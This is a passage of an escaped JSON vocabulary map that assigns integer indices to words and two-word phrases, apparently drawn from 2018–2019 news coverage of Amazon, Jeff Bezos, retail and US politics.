199103,\n  \"currently utilizing\": 199104,\n  \"computing bezos\": 199105,\n  \"term bezos\": 199106,\n  \"official overseeing\": 199107,\n  \"bezos high\": 199108,\n  \"greenwood religious\": 199109,\n  \"turf long\": 199110,\n  \"michelle castillo\": 199111,\n  \"trees right\": 199112,\n  \"minutes apart\": 199113,\n  \"consumer friendly\": 199114,\n  \"wired microneedles\": 199115,\n  \"washington say\": 199116,\n  \"showdown\": 199117,\n  \"181002173716\": 199118,\n  \"aff boilerplate\": 199119,\n  \"linear television\": 199120,\n  \"includes secure\": 199121,\n  \"minus\": 199122,\n  \"hurt gianforte\": 199123,\n  \"girl handbook\": 199124,\n  \"uk brexit\": 199125,\n  \"refusing\": 199126,\n  \"maple leafs\": 199127,\n  \"earbuds\": 199128,\n  \"stebbing professor\": 199129,\n  \"motor handy\": 199130,\n  \"ongoing criticism\": 199131,\n  \"teaching civic\": 199132,\n  \"billion naturally\": 199133,\n  \"personally identifiable\": 199134,\n  \"county\": 199135,\n  \"annual conference\": 199136,\n  \"misleading campaign\": 199137,\n  \"moving items\": 199138,\n  \"warnings 2017\": 199139,\n  \"wgn\": 199140,\n  \"action shows\": 199141,\n  \"hike instead\": 199142,\n  \"later ubhi\": 199143,\n  \"self harm\": 199144,\n  \"wearing red\": 199145,\n  \"coen\": 199146,\n  \"publicly disclosed\": 199147,\n  \"trump claim\": 199148,\n  \"alternatives\": 199149,\n  \"magnum\": 199150,\n  \"consumer oriented\": 199151,\n  \"david zinczenko\": 199152,\n  \"final film\": 199153,\n  \"word free\": 199154,\n  \"r4ee i6\": 199155,\n  \"kavanaugh showdown\": 199156,\n  \"789 shares\": 199157,\n  \"ultimate product\": 199158,\n  \"advice ven\": 199159,\n  \"laws depends\": 199160,\n  \"vinci code\": 199161,\n  \"attacks ap\": 199162,\n  \"tock\": 199163,\n  \"agribusiness deforestation\": 199164,\n  \"173 small\": 199165,\n  \"hengyang\": 199166,\n  \"competing travel\": 199167,\n  \"pr blow\": 199168,\n  \"urayajvw36 bloomberg\": 199169,\n  \"moving people\": 199170,\n  \"land area\": 199171,\n  \"reveals internal\": 199172,\n  \"fat uffe\": 199173,\n  \"stem financial\": 199174,\n  \"upright lawyer\": 199175,\n  \"currently doing\": 199176,\n  \"paulina gonzalez\": 199177,\n  \"second run\": 199178,\n  \"political party\": 199179,\n  \"costco versus\": 199180,\n  \"theory\": 199181,\n  \"regions torrid\": 199182,\n  \"meals mozzarella\": 199183,\n  \"harmed competitors\": 199184,\n  \"designated hate\": 199185,\n  \"bans trump\": 199186,\n  \"location protocol\": 199187,\n  \"capacity dave\": 199188,\n  \"chat devin\": 199189,\n  \"assets real\": 199190,\n  \"haaseth abc\": 199191,\n  \"drivers need\": 199192,\n  \"fundamentally\": 199193,\n  \"t000002953 t000002775\": 199194,\n  \"houghton mifflin\": 199195,\n  \"owlfirstitem owlprevitem\": 199196,\n  \"commercially operated\": 199197,\n  \"buyback frenzy\": 199198,\n  \"org wp\": 199199,\n  \"buffett principles\": 199200,\n  \"authentic version\": 199201,\n  \"vaccine knowledge\": 199202,\n  \"company significant\": 199203,\n  \"unfavorable developments\": 199204,\n  \"child teen\": 199205,\n  \"replacement\": 199206,\n  \"awarded\": 199207,\n  \"riverhead books\": 199208,\n  \"impact prime\": 199209,\n  \"family stuck\": 199210,\n  \"simply minute\": 199211,\n  \"havei\": 199212,\n  \"various aspects\": 199213,\n  \"carbon\": 199214,\n  \"revulsion\": 199215,\n  \"phenomenal opportunity\": 199216,\n  \"true cms\": 199217,\n  \"sessions testifies\": 199218,\n  \"jersey sent\": 199219,\n  \"secular stories\": 199220,\n  \"pluribus unum\": 199221,\n  \"past accusations\": 199222,\n  \"continued growth\": 199223,\n  \"service issue\": 199224,\n  \"colleague gabriel\": 199225,\n  \"admiringly tweeted\": 199226,\n  \"predicament\": 199227,\n  \"way insider\": 199228,\n  \"zoom\": 199229,\n  \"foie gras\": 199230,\n  \"fdx\": 199231,\n  \"11pm\": 199232,\n  \"pick photograph\": 199233,\n  \"strengthen president\": 199234,\n  \"executive revelatory\": 199235,\n  \"region particularly\": 199236,\n  \"cool recode_logomark\": 199237,\n  \"songs\": 199238,\n  \"far refrained\": 199239,\n  \"h0 e0\": 199240,\n  \"chunks\": 199241,\n  \"venezuela gold\": 199242,\n  \"extended stay\": 199243,\n  \"trucks eliminating\": 199244,\n  \"future price\": 199245,\n  \"supply fleets\": 199246,\n  \"plan firms\": 199247,\n  \"player dimitrios\": 199248,\n  \"cristiano lima\": 199249,\n  \"us150\": 199250,\n  \"gravity\": 199251,\n  \"trump visit\": 199252,\n  \"daring\": 199253,\n  \"bermuda report\": 199254,\n  \"743 shares\": 199255,\n  \"moving away\": 199256,\n  \"pushes\": 199257,\n  \"medications\": 199258,\n  \"corrugated boxes\": 199259,\n  \"companies ahead\": 199260,\n  \"weather travel\": 199261,\n  \"sure sounds\": 199262,\n  \"howorth owner\": 199263,\n  \"meal\": 199264,\n  \"reported 283\": 199265,\n  \"sacrosanct control\": 199266,\n  \"significant challenges\": 199267,\n  \"policies walmart\": 199268,\n  \"ceo ring\": 199269,\n  \"cnn printing\": 199270,\n  \"2018 benzinga\": 199271,\n  \"fear pervades\": 199272,\n  \"means shoppers\": 199273,\n  \"operation included\": 199274,\n  \"government activities\": 199275,\n  \"incident posted\": 199276,\n  \"recently seeing\": 199277,\n  \"synthetic\": 199278,\n  \"money bribe\": 199279,\n  \"scales included\": 199280,\n  \"equity cap\": 199281,\n  \"impact nearly\": 199282,\n  \"talking points\": 199283,\n  \"763 reduced\": 199284,\n  \"tax discrepancy\": 199285,\n  \"opposite point\": 199286,\n  \"87bn\": 199287,\n  \"different suppliers\": 199288,\n  \"private citing\": 199289,\n  \"fortune lies\": 199290,\n  \"shutterfly taps\": 199291,\n  \"charity work\": 199292,\n  \"department calls\": 199293,\n  \"way investors\": 199294,\n  \"hillcrest\": 199295,\n  \"limiting services\": 199296,\n  \"100 planes\": 199297,\n  \"rich member\": 199298,\n  \"highest rates\": 199299,\n  \"announcement revealed\": 199300,\n  \"gianaris told\": 199301,\n  \"debt americans\": 199302,\n  \"covering entrepreneurship\": 199303,\n  \"councilman jumaane\": 199304,\n  \"attacked bezos\": 199305,\n  \"recount arizona\": 199306,\n  \"moderate gain\": 199307,\n  \"potassium\": 199308,\n  \"writer stumbling\": 199309,\n  \"required government\": 199310,\n  \"breaks allowing\": 199311,\n  \"eventually winning\": 199312,\n  \"stacey flynn\": 199313,\n  \"latestnews\": 199314,\n  \"finally pay\": 199315,\n  \"galloway suggests\": 199316,\n  \"work democrats\": 199317,\n  \"performing right\": 199318,\n  \"criminal justice\": 199319,\n  \"offline efforts\": 199320,\n  \"florida homeowners\": 199321,\n  \"pretty low\": 199322,\n  \"charitable\": 199323,\n  \"delivering goods\": 199324,\n  \"wmt began\": 199325,\n  \"expecting material\": 199326,\n  \"seattle amazon\": 199327,\n  \"ancient texts\": 199328,\n  \"500 net\": 199329,\n  \"delivering items\": 199330,\n  \"business model\": 199331,\n  \"uranium\": 199332,\n  \"key leverage\": 199333,\n  \"wikler\": 199334,\n  \"biceps instead\": 199335,\n  \"lamar alexander\": 199336,\n  \"home design\": 199337,\n  \"extra punctuation\": 199338,\n  \"uber does\": 199339,\n  \"defeated gives\": 199340,\n  \"convenient american\": 199341,\n  \"losartan potassium\": 199342,\n  \"spillover effect\": 199343,\n  \"moderation methods\": 199344,\n  \"criminals read\": 199345,\n  \"game brooklyn\": 199346,\n  \"fully educated\": 199347,\n  \"336x336 uploaded_files\": 199348,\n  \"unmistakable echoes\": 199349,\n  \"edited\": 199350,\n  \"bezos era\": 199351,\n  \"subsequent\": 199352,\n  \"investing big\": 199353,\n  \"overworked businessman\": 199354,\n  \"sedo\": 199355,\n  \"giants develop\": 199356,\n  \"jake lynch\": 199357,\n  \"filmmakers recently\": 199358,\n  \"mexican immigrants\": 199359,\n  \"pretextual rationales\": 199360,\n  \"help cushion\": 199361,\n  \"following amazon\": 199362,\n  \"jointly run\": 199363,\n  \"spells\": 199364,\n  \"avocados\": 199365,\n  \"ex fox\": 199366,\n  \"pretty basic\": 199367,\n  \"investigating 2016\": 199368,\n  \"million worth\": 199369,\n  \"watch new\": 199370,\n  \"far apart\": 199371,\n  \"nyc hiring\": 199372,\n  \"core fundamentals\": 199373,\n  \"amazon voice\": 199374,\n  \"child\": 199375,\n  \"drabkin\": 199376,\n  \"jj johnson\": 199377,\n  \"resident james\": 199378,\n  \"house leadership\": 199379,\n  \"steadiness\": 199380,\n  \"100 protestors\": 199381,\n  \"online purchase\": 199382,\n  \"unitedhealth\": 199383,\n  \"autostartvideo cnn\": 199384,\n  \"probably isn\": 199385,\n  \"cheese sticks\": 199386,\n  \"world worth\": 199387,\n  \"office khan\": 199388,\n  \"vidid\": 199389,\n  \"washing hands\": 199390,\n  \"british rights\": 199391,\n  \"currency plunge\": 199392,\n  \"report pay\": 199393,\n  \"campaign rodriguez\": 199394,\n  \"special counsel\": 199395,\n  \"amazon childhood\": 199396,\n  \"finest building\": 199397,\n  \"expensive travel\": 199398,\n  \"rapid response\": 199399,\n  \"facebook katie\": 199400,\n  \"double rates\": 199401,\n  \"original price\": 199402,\n  \"mobil nyse\": 199403,\n  \"jeffrey blackburn\": 199404,\n  \"police evidence\": 199405,\n  \"anthony joshua\": 199406,\n  \"year ashland\": 199407,\n  \"new album\": 199408,\n  \"j\\u00f6rg\": 199409,\n  \"wife set\": 199410,\n  \"thecoverage\": 199411,\n  \"sign petition\": 199412,\n  \"instinet securities\": 199413,\n  \"motherhood\": 199414,\n  \"wheel\": 199415,\n  \"drive american\": 199416,\n  \"hotel featuring\": 199417,\n  \"michal\": 199418,\n  \"camera filters\": 199419,\n  \"appellate division\": 199420,\n  \"line retailers\": 199421,\n  \"yousuck2020\": 199422,\n  \"stephanopoulos\": 199423,\n  \"airship\": 199424,\n  \"operations near\": 199425,\n  \"nv illusionist\": 199426,\n  \"american clown\": 199427,\n  \"carl shapiro\": 199428,\n  \"ally acquires\": 199429,\n  \"chief attacks\": 199430,\n  \"rc1d900f0700 number\": 199431,\n  \"agency billions\": 199432,\n  \"education youth\": 199433,\n  \"cheerful chubby\": 199434,\n  \"reinterpret\": 199435,\n  \"seemingly rigged\": 199436,\n  \"stars dakota\": 199437,\n  \"var m4\": 199438,\n  \"publicized drug\": 199439,\n  \"service unsustainable\": 199440,\n  \"companies access\": 199441,\n  \"infringed\": 199442,\n  \"reunite immigrant\": 199443,\n  \"feature films\": 199444,\n  \"price leader\": 199445,\n  \"101 g4\": 199446,\n  \"clothes supplies\": 199447,\n  \"completed\": 199448,\n  \"giggling\": 199449,\n  \"favor liberal\": 199450,\n  \"sanders role\": 199451,\n  \"address rumors\": 199452,\n  \"printed billion\": 199453,\n  \"jobs tend\": 199454,\n  \"dangers facial\": 199455,\n  \"protect democracy\": 199456,\n  \"holds local\": 199457,\n  \"sylvia\": 199458,\n  \"private business\": 199459,\n  \"jonah lehrer\": 199460,\n  \"gardy style\": 199461,\n  \"ethically concerned\": 199462,\n  \"life support\": 199463,\n  \"waiting period\": 199464,\n  \"supercharged overnight\": 199465,\n  \"skip buying\": 199466,\n  \"major credibilityissues\": 199467,\n  \"clinches quiet\": 199468,\n  \"allured\": 199469,\n  \"hit 200\": 199470,\n  \"champion math\": 199471,\n  \"mike allen\": 199472,\n  \"developing new\": 199473,\n  \"bolduan bombshell\": 199474,\n  \"help businesses\": 199475,\n  \"assets know\": 199476,\n  \"island representatives\": 199477,\n  \"garden celebration\": 199478,\n  \"mailbox fishing\": 199479,\n  \"ami cooperation\": 199480,\n  \"company companies\": 199481,\n  \"credit ap\": 199482,\n  \"jonestrading\": 199483,\n  \"lawyer lanny\": 199484,\n  \"need shopping\": 199485,\n  \"amazon additional\": 199486,\n  \"mattis looms\": 199487,\n  \"news telling\": 199488,\n  \"teacher complained\": 199489,\n  \"oneplus\": 199490,\n  \"predicted precipitation\": 199491,\n  \"betterment\": 199492,\n  \"technology leader\": 199493,\n  \"jeff wilke\": 199494,\n  \"hear accusations\": 199495,\n  \"profit stock\": 199496,\n  \"denel confirms\": 199497,\n  \"representing\": 199498,\n  \"estado\": 199499,\n  \"liarsleakersliberals\": 199500,\n  \"unless amazon\": 199501,\n  \"comcast did\": 199502,\n  \"cooper smith\": 199503,\n  \"theprofessionals say\": 199504,\n  \"drive commerce\": 199505,\n  \"scandal\": 199506,\n  \"daly\": 199507,\n  \"amazon angie\": 199508,\n  \"walmart read\": 199509,\n  \"katsu sandos5\": 199510,\n  \"elite bezos\": 199511,\n  \"investigators began\": 199512,\n  \"haralampus wrote\": 199513,\n  \"temporary\": 199514,\n  \"memoir tackles\": 199515,\n  \"powells\": 199516,\n  \"work presidents\": 199517,\n  \"hq2 including\": 199518,\n  \"alleges kavanaugh\": 199519,\n  \"don actually\": 199520,\n  \"exhales precious\": 199521,\n  \"mueller investigators\": 199522,\n  \"book real\": 199523,\n  \"peter baker\": 199524,\n  \"ab bernstein\": 199525,\n  \"messages released\": 199526,\n  \"brian break\": 199527,\n  \"notched\": 199528,\n  \"california burned\": 199529,\n  \"received 120\": 199530,\n  \"canada pete\": 199531,\n  \"whiskey\": 199532,\n  \"walked explain\": 199533,\n  \"estimates offsetting\": 199534,\n  \"salaries van\": 199535,\n  \"bloomingdales\": 199536,\n  \"media scrutiny\": 199537,\n  \"2018 q4\": 199538,\n  \"worth tens\": 199539,\n  \"based giant\": 199540,\n  \"delong jonathan\": 199541,\n  \"major photo\": 199542,\n  \"report virigina\": 199543,\n  \"focus day\": 199544,\n  \"support guaid\\u00f3\": 199545,\n  \"rosenstein incrementally\": 199546,\n  \"eld\": 199547,\n  \"2070\": 199548,\n  \"amazon remember\": 199549,\n  \"gsa told\": 199550,\n  \"video service\": 199551,\n  \"instruments led\": 199552,\n  \"constance shehan\": 199553,\n  \"yellow vests\": 199554,\n  \"amazon second\": 199555,\n  \"status 1077231267559755776\": 199556,\n  \"guys elites\": 199557,\n  \"carveout\": 199558,\n  \"garden state\": 199559,\n  \"asean foreign\": 199560,\n  \"wrote according\": 199561,\n  \"strategy straight\": 199562,\n  \"adviser gary\": 199563,\n  \"potentially generating\": 199564,\n  \"service industries\": 199565,\n  \"heart surgery\": 199566,\n  \"expansion plan\": 199567,\n  \"widespread strikes\": 199568,\n  \"stopping russian\": 199569,\n  \"usps workers\": 199570,\n  \"saw seinfeld\": 199571,\n  \"mean apple\": 199572,\n  \"market caps\": 199573,\n  \"protection protections\": 199574,\n  \"serves breakfast\": 199575,\n  \"facial matches\": 199576,\n  \"schwartz\": 199577,\n  \"track 1000\": 199578,\n  \"susana cordova\": 199579,\n  \"rubenstein veered\": 199580,\n  \"comey\": 199581,\n  \"1531685705 mod\": 199582,\n  \"months following\": 199583,\n  \"yee community\": 199584,\n  \"a7 va\": 199585,\n  \"interactive\": 199586,\n  \"single presidential\": 199587,\n  \"beginnings\": 199588,\n  \"real solution\": 199589,\n  \"jedi rfp\": 199590,\n  \"hillary pocahontas\": 199591,\n  \"summer redstone\": 199592,\n  \"just fell\": 199593,\n  \"observers agree\": 199594,\n  \"reilly skate\": 199595,\n  \"macculloch\": 199596,\n  \"officer globenewswire\": 199597,\n  \"took dotcom\": 199598,\n  \"released decade\": 199599,\n  \"plan creates\": 199600,\n  \"doesn age\": 199601,\n  \"reddit data\": 199602,\n  \"intimate pictures\": 199603,\n  \"review members\": 199604,\n  \"americans john\": 199605,\n  \"dangling nude\": 199606,\n  \"completely separate\": 199607,\n  \"company shares\": 199608,\n  \"seen societies\": 199609,\n  \"alphabet posted\": 199610,\n  \"castro arrest\": 199611,\n  \"british monarchy\": 199612,\n  \"parcel giant\": 199613,\n  \"war actually\": 199614,\n  \"intensifies trump\": 199615,\n  \"mgmt limited\": 199616,\n  \"gurr comments\": 199617,\n  \"drop record\": 199618,\n  \"knock em\": 199619,\n  \"better leverage\": 199620,\n  \"giovangelo indianapolis\": 199621,\n  \"estimated cost\": 199622,\n  \"mole\": 199623,\n  \"wild ride\": 199624,\n  \"agreed mexico\": 199625,\n  \"says wont\": 199626,\n  \"inlineimages photoessayslides\": 199627,\n  \"independent mind\": 199628,\n  \"contributions state\": 199629,\n  \"captured\": 199630,\n  \"52billion\": 199631,\n  \"fa fa\": 199632,\n  \"additional 380\": 199633,\n  \"new melting\": 199634,\n  \"alberta\": 199635,\n  \"quickly north\": 199636,\n  \"2300 target\": 199637,\n  \"recorded exaggerated\": 199638,\n  \"just wrote\": 199639,\n  \"box deals\": 199640,\n  \"debut new\": 199641,\n  \"ambiguously defined\": 199642,\n  \"crp\": 199643,\n  \"beers\": 199644,\n  \"reassure\": 199645,\n  \"brad lander\": 199646,\n  \"properly supported\": 199647,\n  \"unconstitutional actions\": 199648,\n  \"extortion true\": 199649,\n  \"automatically adversarial\": 199650,\n  \"face comparisons\": 199651,\n  \"apple macs\": 199652,\n  \"emergency weather\": 199653,\n  \"billion workers\": 199654,\n  \"strong sales\": 199655,\n  \"democrats think\": 199656,\n  \"meet gov\": 199657,\n  \"plants birds\": 199658,\n  \"repmaxinewaters\": 199659,\n  \"tentative steps\": 199660,\n  \"headlineplaintext believe\": 199661,\n  \"direction lawyer\": 199662,\n  \"50th annual\": 199663,\n  \"aid cities\": 199664,\n  \"grip\": 199665,\n  \"virtual jousts\": 199666,\n  \"tube\": 199667,\n  \"surface vail\": 199668,\n  \"heller casting\": 199669,\n  \"dg host\": 199670,\n  \"burlington sanders\": 199671,\n  \"purchase instantly\": 199672,\n  \"says doubleline\": 199673,\n  \"mtp compressed\": 199674,\n  \"money delivering\": 199675,\n  \"mandate potential\": 199676,\n  \"practically wiped\": 199677,\n  \"far richer\": 199678,\n  \"claims crumble\": 199679,\n  \"questionable accounts\": 199680,\n  \"firms continue\": 199681,\n  \"documentation commit\": 199682,\n  \"philip jennings\": 199683,\n  \"global health\": 199684,\n  \"city story\": 199685,\n  \"remain major\": 199686,\n  \"pence tweeted\": 199687,\n  \"juleanna glover\": 199688,\n  \"evidence coast\": 199689,\n  \"hyphens stop\": 199690,\n  \"sourcing goods\": 199691,\n  \"oil gold\": 199692,\n  \"heather frost\": 199693,\n  \"alibaba addressable\": 199694,\n  \"governmental pressure\": 199695,\n  \"bezos sentiment\": 199696,\n  \"eroding little\": 199697,\n  \"bland sisters\": 199698,\n  \"enforcement official\": 199699,\n  \"lost 52billion\": 199700,\n  \"modest level\": 199701,\n  \"enforcement rigged\": 199702,\n  \"families live\": 199703,\n  \"fortune 100\": 199704,\n  \"fang names\": 199705,\n  \"pecker pecker\": 199706,\n  \"widening influence\": 199707,\n  \"pov\": 199708,\n  \"consistently vowed\": 199709,\n  \"say people\": 199710,\n  \"consumer inflation\": 199711,\n  \"docu\": 199712,\n  \"337\": 199713,\n  \"strong tendency\": 199714,\n  \"department designed\": 199715,\n  \"haven spoken\": 199716,\n  \"send data\": 199717,\n  \"agent michael\": 199718,\n  \"marconi\": 199719,\n  \"help patent\": 199720,\n  \"livelihoods\": 199721,\n  \"billion fortune\": 199722,\n  \"eamon\": 199723,\n  \"post brazil\": 199724,\n  \"mil jeff\": 199725,\n  \"cuomosmta\": 199726,\n  \"market key\": 199727,\n  \"cash tech\": 199728,\n  \"missing beat\": 199729,\n  \"reform bills\": 199730,\n  \"voor\": 199731,\n  \"twist ties\": 199732,\n  \"federalreserve\": 199733,\n  \"dropping bombshell\": 199734,\n  \"isn available\": 199735,\n  \"873\": 199736,\n  \"forum news\": 199737,\n  \"holmes\": 199738,\n  \"avery good\": 199739,\n  \"misleading accusations\": 199740,\n  \"massive wealth\": 199741,\n  \"ukip\": 199742,\n  \"southern food\": 199743,\n  \"nup\": 199744,\n  \"york city\": 199745,\n  \"171 h8\": 199746,\n  \"kingdom social\": 199747,\n  \"business program\": 199748,\n  \"general catalog\": 199749,\n  \"trillion green\": 199750,\n  \"taken humanity\": 199751,\n  \"business opportunities\": 199752,\n  \"regarding fatalities\": 199753,\n  \"israel border\": 199754,\n  \"thinking inventors\": 199755,\n  \"godzilla walmart\": 199756,\n  \"repeatedly dinged\": 199757,\n  \"bezos stands\": 199758,\n  \"fabricating stories\": 199759,\n  \"investigations quality\": 199760,\n  \"visit arlington\": 199761,\n  \"seattle children\": 199762,\n  \"maga\": 199763,\n  \"graphics cards\": 199764,\n  \"duty\": 199765,\n  \"door greer\": 199766,\n  \"york amazon\": 199767,\n  \"campaign sign\": 199768,\n  \"story just\": 199769,\n  \"proclaimed vape\": 199770,\n  \"drop testing\": 199771,\n  \"month truce\": 199772,\n  \"include nordstrom\": 199773,\n  \"memorandum directing\": 199774,\n  \"projections usa\": 199775,\n  \"avoids paying\": 199776,\n  \"readers wanted\": 199777,\n  \"jessie carla\": 199778,\n  \"enriching\": 199779,\n  \"wealth automation\": 199780,\n  \"state regulators\": 199781,\n  \"148\": 199782,\n  \"strategist tony\": 199783,\n  \"adrianne\": 199784,\n  \"york source\": 199785,\n  \"man sends\": 199786,\n  \"lgbt owned\": 199787,\n  \"trump gathering\": 199788,\n  \"profile criticism\": 199789,\n  \"online blasts\": 199790,\n  \"consecutive weeks\": 199791,\n  \"statement mail\": 199792,\n  \"encouraged antitrust\": 199793,\n  \"important ecolab\": 199794,\n  \"growth plans\": 199795,\n  \"weighing\": 199796,\n  \"worry social\": 199797,\n  \"prime charges\": 199798,\n  \"associates alleging\": 199799,\n  \"marta\": 199800,\n  \"trump unhappiness\": 199801,\n  \"noesis mangement\": 199802,\n  \"speculates\": 199803,\n  \"just felt\": 199804,\n  \"tangy tart\": 199805,\n  \"efforts clearly\": 199806,\n  \"recognition software\": 199807,\n  \"called giuliani\": 199808,\n  \"inspected including\": 199809,\n  \"longer pre\": 199810,\n  \"usage size\": 199811,\n  \"california\": 199812,\n  \"allows eavesdropping\": 199813,\n  \"legal victory\": 199814,\n  \"romero pharis\": 199815,\n  \"land based\": 199816,\n  \"dominated government\": 199817,\n  \"trump delivered\": 199818,\n  \"historic opportunity\": 199819,\n  \"q4 revenue\": 199820,\n  \"fall tech\": 199821,\n  \"funds bartiromo\": 199822,\n  \"gordy general\": 199823,\n  \"hd currently\": 199824,\n  \"reports new\": 199825,\n  \"having trouble\": 199826,\n  \"internet bookseller\": 199827,\n  \"787 dreamliner\": 199828,\n  \"guyana amazon\": 199829,\n  \"kavanaugh sexual\": 199830,\n  \"increasingly mainstream\": 199831,\n  \"intelligent investing\": 199832,\n  \"amazon abandonment\": 199833,\n  \"crimes including\": 199834,\n  \"remain positioned\": 199835,\n  \"wealthfront\": 199836,\n  \"really twisted\": 199837,\n  \"looked\": 199838,\n  \"603 shares\": 199839,\n  \"pete joining\": 199840,\n  \"poverty wages\": 199841,\n  \"blue book\": 199842,\n  \"regular letters\": 199843,\n  \"politics noted\": 199844,\n  \"coalition wrote\": 199845,\n  \"began accusing\": 199846,\n  \"print headline\": 199847,\n  \"improbity\": 199848,\n  \"preaching nationalism\": 199849,\n  \"include investments\": 199850,\n  \"military operation\": 199851,\n  \"concerned physicians\": 199852,\n  \"happy primeday\": 199853,\n  \"dues applied\": 199854,\n  \"wusa9\": 199855,\n  \"environmental area\": 199856,\n  \"2018 fair\": 199857,\n  \"flat fee\": 199858,\n  \"richard scudamore\": 199859,\n  \"google results\": 199860,\n  \"alinea group\": 199861,\n  \"structure change\": 199862,\n  \"experience magnitude\": 199863,\n  \"pos\": 199864,\n  \"roku nasdaq\": 199865,\n  \"senator ramos\": 199866,\n  \"carry texit\": 199867,\n  \"duck\": 199868,\n  \"carousel showindex\": 199869,\n  \"developing relatively\": 199870,\n  \"topic think\": 199871,\n  \"leaders offered\": 199872,\n  \"legum juddlegum\": 199873,\n  \"known officially\": 199874,\n  \"trade tension\": 199875,\n  \"georgia offered\": 199876,\n  \"role models\": 199877,\n  \"trump npr\": 199878,\n  \"blackmail acting\": 199879,\n  \"individual\": 199880,\n  \"tariffs global\": 199881,\n  \"vestager suspects\": 199882,\n  \"travolta\": 199883,\n  \"doesn say\": 199884,\n  \"dictator liberal\": 199885,\n  \"subsidized housing\": 199886,\n  \"secondhand\": 199887,\n  \"dangerous saying\": 199888,\n  \"probe publically\": 199889,\n  \"sell trump\": 199890,\n  \"improving outcomes\": 199891,\n  \"hr management\": 199892,\n  \"unveiled brand\": 199893,\n  \"paso loves\": 199894,\n  \"existent corporate\": 199895,\n  \"administration scandals\": 199896,\n  \"bashir\": 199897,\n  \"lighthouse keepers\": 199898,\n  \"underserved areas\": 199899,\n  \"different resumes\": 199900,\n  \"help oil\": 199901,\n  \"canadian government\": 199902,\n  \"executives emails\": 199903,\n  \"service economy\": 199904,\n  \"rhapsody star\": 199905,\n  \"newsweek according\": 199906,\n  \"depended\": 199907,\n  \"2006 hasn\": 199908,\n  \"denounces\": 199909,\n  \"obscure compact\": 199910,\n  \"bonwit teller\": 199911,\n  \"congress prepares\": 199912,\n  \"commit crime\": 199913,\n  \"performing today\": 199914,\n  \"claims including\": 199915,\n  \"overcorporate interests\": 199916,\n  \"corporate history\": 199917,\n  \"retail stock\": 199918,\n  \"beverly hilton\": 199919,\n  \"deteriorate\": 199920,\n  \"public scrutiny\": 199921,\n  \"restructure massive\": 199922,\n  \"resources meant\": 199923,\n  \"bourdain explore\": 199924,\n  \"illegally undermine\": 199925,\n  \"link plausible\": 199926,\n  \"political divide\": 199927,\n  \"writer neighbor\": 199928,\n  \"complete logistics\": 199929,\n  \"gripping crime\": 199930,\n  \"deplorable romper\": 199931,\n  \"typical\": 199932,\n  \"love crazy\": 199933,\n  \"evaluation shows\": 199934,\n  \"thinks government\": 199935,\n  \"julie pace\": 199936,\n  \"questions\": 199937,\n  \"jeremy mclellan\": 199938,\n  \"surgical\": 199939,\n  \"legal trouble\": 199940,\n  \"hasn disappeared\": 199941,\n  \"cnn deal\": 199942,\n  \"hear dhs\": 199943,\n  \"demonstration did\": 199944,\n  \"story bear\": 199945,\n  \"strong leads\": 199946,\n  \"constellations\": 199947,\n  \"buy devices\": 199948,\n  \"twitter laura\": 199949,\n  \"unacceptable\": 199950,\n  \"securely launch\": 199951,\n  \"definitively say\": 199952,\n  \"senate district\": 199953,\n  \"enquirer natenquirer\": 199954,\n  \"statement pictures\": 199955,\n  \"bezos shells\": 199956,\n  \"solar lights\": 199957,\n  \"fix wins\": 199958,\n  \"corning\": 199959,\n  \"settle personal\": 199960,\n  \"did president\": 199961,\n  \"linking trump\": 199962,\n  \"sequence\": 199963,\n  \"trump inauguration\": 199964,\n  \"tone used\": 199965,\n  \"vietnam miracle\": 199966,\n  \"wildlife\": 199967,\n  \"louis asks\": 199968,\n  \"scottish granny\\u0430janice\": 199969,\n  \"fall suggested\": 199970,\n  \"democratic megadonor\": 199971,\n  \"rogue officials\": 199972,\n  \"realized needed\": 199973,\n  \"center operators\": 199974,\n  \"payment services\": 199975,\n  \"faster shipping\": 199976,\n  \"designation created\": 199977,\n  \"sr anthony\": 199978,\n  \"missoula mont\": 199979,\n  \"trump tirades\": 199980,\n  \"various terms\": 199981,\n  \"3a 2f\": 199982,\n  \"eavesdropping\": 199983,\n  \"personal fleet\": 199984,\n  \"jeff having\": 199985,\n  \"technology policy\": 199986,\n  \"independent establishment\": 199987,\n  \"paranoid\": 199988,\n  \"wrong hannah\": 199989,\n  \"hensinki today\": 199990,\n  \"deliver surprise\": 199991,\n  \"levinson wrote\": 199992,\n  \"love hate\": 199993,\n  \"249\": 199994,\n  \"2018 lobbying\": 199995,\n  \"reportedly knew\": 199996,\n  \"regularly insisting\": 199997,\n  \"tr xlf\": 199998,\n  \"holzer llc\": 199999,\n  \"matching lengths\": 200000,\n  \"called obstruction\": 200001,\n  \"russian vladimir\": 200002,\n  \"open restaurant\": 200003,\n  \"online customers\": 200004,\n  \"army fight\": 200005,\n  \"ewarren\": 200006,\n  \"f1ffc8b1b28541f8a14202dff10fb148\": 200007,\n  \"distress\": 200008,\n  \"melania steps\": 200009,\n  \"recognize faces\": 200010,\n  \"groups americans\": 200011,\n  \"lung cell\": 200012,\n  \"including substantial\": 200013,\n  \"pyrotechnic newbies\": 200014,\n  \"parenting team\": 200015,\n  \"adriano\": 200016,\n  \"escalating tariffs\": 200017,\n  \"wing power\": 200018,\n  \"bqb58ewvji\": 200019,\n  \"post support\": 200020,\n  \"sena questioned\": 200021,\n  \"president accused\": 200022,\n  \"roping\": 200023,\n  \"nan rich\": 200024,\n  \"archie jughead\": 200025,\n  \"literally claiming\": 200026,\n  \"charles grassley\": 200027,\n  \"encouraging figures\": 200028,\n  \"month lifted\": 200029,\n  \"american lawman\": 200030,\n  \"oli scarff\": 200031,\n  \"sexually explicit\": 200032,\n  \"ceremony vice\": 200033,\n  \"miscalculating\": 200034,\n  \"unshowy\": 200035,\n  \"gone way\": 200036,\n  \"republican allies\": 200037,\n  \"throwing jabs\": 200038,\n  \"new mandate\": 200039,\n  \"799 shares\": 200040,\n  \"detailed information\": 200041,\n  \"wealth tied\": 200042,\n  \"stops\": 200043,\n  \"salesforce number\": 200044,\n  \"2018meanwhile\": 200045,\n  \"vehicle producer\": 200046,\n  \"attacks recent\": 200047,\n  \"strategy analysts\": 200048,\n  \"far new\": 200049,\n  \"mulls ipo\": 200050,\n  \"amazon dig\": 200051,\n  \"cooking channel\": 200052,\n  \"g6 symbol\": 200053,\n  \"2012 brazilian\": 200054,\n  \"pure way\": 200055,\n  \"veteran recalls\": 200056,\n  \"consumers photo\": 200057,\n  \"neal requested\": 200058,\n  \"insider amazon\": 200059,\n  \"half dozen\": 200060,\n  \"panel shawna\": 200061,\n  \"different companies\": 200062,\n  \"southern poverty\": 200063,\n  \"new accounts\": 200064,\n  \"sent 320\": 200065,\n  \"brilliant jack\": 200066,\n  \"beast mccain\": 200067,\n  